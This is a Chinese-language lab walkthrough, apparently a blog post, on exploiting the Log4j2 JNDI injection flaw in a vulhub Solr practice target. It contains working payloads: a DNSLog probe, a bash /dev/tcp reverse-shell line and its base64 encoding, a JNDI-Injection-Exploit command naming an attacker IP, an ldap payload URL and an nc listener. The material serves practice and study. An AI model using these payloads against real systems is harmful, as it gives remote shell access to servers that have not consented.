当前位置: 首页 > news >正文

vulhub/log4j2漏洞靶场----反弹shell

一、log4j2漏洞介绍

      log4j2 是Apache的⼀个java⽇志框架,我们借助它进⾏⽇志相关操作管理,然⽽在2021年末

log4j2爆出了远程代码执⾏漏洞,属于严重等级的漏洞。

apache log4j通过定义每⼀条⽇志信息的级别能够更加细致地控制⽇志⽣成地过程,受影响地版

本中纯在JNDI注⼊漏洞,导致⽇志在记录⽤户输⼊地数据时,触发了注⼊漏洞。

二、JNDI注入介绍

       JNDI,中⽂名叫java命名和⽬录接⼝,它为我们提供了命名和⽬录服务,具体就不多讲了。主要是JNDI其中有⼀个lookup()⽅法,这是⼀个查找⽅法,上⾯代码执⾏结果也正是因为log4j2在获取到 ${}这样的格式的时候会⾃动的去调⽤lookup()⽅法。⽽这个⽅法的可怕之处就在于,它可以远程加载对象,⽐如我们传⼀个像如下,但是这样的参数进去,它就可以远程访问到我们(⿊客)本地的类,那如果这些类⾥⾯有恶意代码的话造成的危害显然是⾮常严重的。

lookup("rmi://127.0.0.1/test")        lookup("ldap://127.0.0.1/test")

三、log4j2漏洞靶场

1.  启动docker容器,开启靶场环境

输入命令:

开启docker服务,systemctl start docker

开启靶场环境,docker-compose up -d

如果don't find command,请安装docker和docker-compose

安装命令:

centos7   :  yum install docker           yum install docker-compose

kali  : apt install docker       apt install docker-compose

安装完成后, 开启服务和靶场环境

注意:如果docker服务已开启,但启动靶场环境时超时,阿里云的云服务可以使用“镜像容器服务---镜像加速功能”加速靶场的环境开启,出现done即开启成功。

使用docker ps 可查看当前docker开启的服务及端口。

2. 访问靶场,使用dnslog平台获取一个域名

通过   http://靶场ip:端口    访问靶场

 NDSLOG地址:DNSLog Platform

NDSLOG获取随机域名:4zvaw4.dnslog.cn

3. 通过上一步的dnslog,查看注入效果

可以发现 /solr/admin/cores?action= 这⾥有个参数可以传,可以按照上⾯的原理 先构造⼀个请求传过去存在JNDI注⼊那么ldap服务端会执⾏我们传上去的payload然后在DNSLOG 平台上那⾥留下记录。

靶场ip:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.vhh0fs.dnslog.cn}

4.  反弹Shell

开始反弹Shell准备 JNDI-Injection-Exploit 下载地址并构造PayLoad如下...启动

#JDNI项目地址:GitHub

https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0

下载好,解压。将解压得到得jar文件上传到靶场环境

4.1 反弹shell准备,base64加密

确保监听的端口开放

准备:bash -i >& /dev/tcp/攻击者ip/6689 0>&1

base64加密:YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjE1LjIyOC4yNy82Njg5IDA+JjE=

4.2 生成恶意代码类及其url

通过上传的JNDI-Injection-Exploit,使用java环境运行上述命令,生成恶意代码类,以及其对应的url。如果没有java环境,可以yum云下载安装:yum install java

攻击者输入命令生成恶意代码类:  【-A   攻击者的ip,即获取到shell的对象】

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjE1LjIyOC4yNy82Njg5IDA+JjE=}|{base64,-d}|{bash, -i}" -A "1.15.228.27"

4.3 nc开启反弹shell端口的监听 

新建一个终端窗口,输入:nc -lvvp 6689

对反弹shell6689端口进行监听

若无nc,请安装nc  :  yum install nc

4.4 选择使用的恶意代码类的url, 生成payload,让靶场访问它,⽹⻚被重定向到了我们的恶意类⽹址

 JDK1.8有rmi和ldap两个服务:任意选一个    【如果JDK版本为1.7 再使用 对应的恶意类】

此例使用  ldap://1.15.228.27:1389/mteqtz   生成最终payload的url:

/solr/admin/cores?action=${jndi:ldap://1.15.228.27:1389/mteqtz}

让靶场访问,模仿受害者点击链接。注意:先开启监听,再访问。

4.5   在另一个终端监听,看看shell是否返回,使用whoami 命令查看权限

当获取的shell是root权限即可。

Server Log会记录访问的过程,而新窗口监听端口的终端获得shell,练习未出现结果,过程仅供参考。

收到shell时,下图框中会显示。 

   

如果显示,输入whoami系统命令,即可看到shell的用户是谁。

温馨提示:

1. docker容器,开启vulhub-master靶场环境,注意端口冲突问题。

2. 云服务器,有的有镜像加速,有的没有。本例中使用的靶场,需要镜像加速才可以打开,阿里云服务器就可以使用。不行的话,借用他人靶场环境进行练习。我就是借用的。

3. 借用靶场环境,注意构建反弹shell时IP为攻击者的ip,端口由攻击者定,但需要保证服务器该端口开启,建议将所有端口打开【安全---添加端口规则---1-65535】。

过程仅供参考,练习结束。。。

希望对各位读者有所帮助。                                           

                                                                                                      ----------    2025/3/15  17:20 

相关文章:

  • centos7安装时采用的默认分区(比如:/dev/sda3的对应挂载点是/),如何对系统扩容?
  • python的基本运用(六)(自定义函数def)
  • 特殊 IP 地址
  • 机器人交社保属于“无稽之谈”?
  • GAN生成对抗网络小记
  • 【leetcode100】括号生成
  • Linux内核,mmap_pgoff在mmap.c的实现
  • MyBatis SqlSessionFactory 是如何创建的?
  • Linux上位机开发实战(x86和arm自由切换)
  • java -jar 执行基于Maven构建的Java应用的方法总结
  • 剑指 Offer II 087. 复原 IP
  • RustDesk自建远程桌面服务教程
  • Vue与Django是如何传递参数的?
  • matlab 谐波分析公式绘图
  • C语言:基于链表实现栈
  • java多线程基础
  • 深入解析 Vue 3 Teleport:原理、应用与最佳实践
  • MySQL基本语句以及表约束练习
  • 单口路由器多拨号ADSL实现方法
  • Flutter小白开发笔记
  • 威尼斯建筑双年展总策划:山的另一边有什么在等着我们
  • 马上评丨未成年人“擦边”短视频岂能成流量密码
  • 行知读书会|换一个角度看见社会
  • 苹果或将于2027年推出由玻璃制成的曲面iPhone
  • 何谓“战略稳定”:“长和平”的实现基础与机制
  • 巴西总统卢拉昨晚抵达北京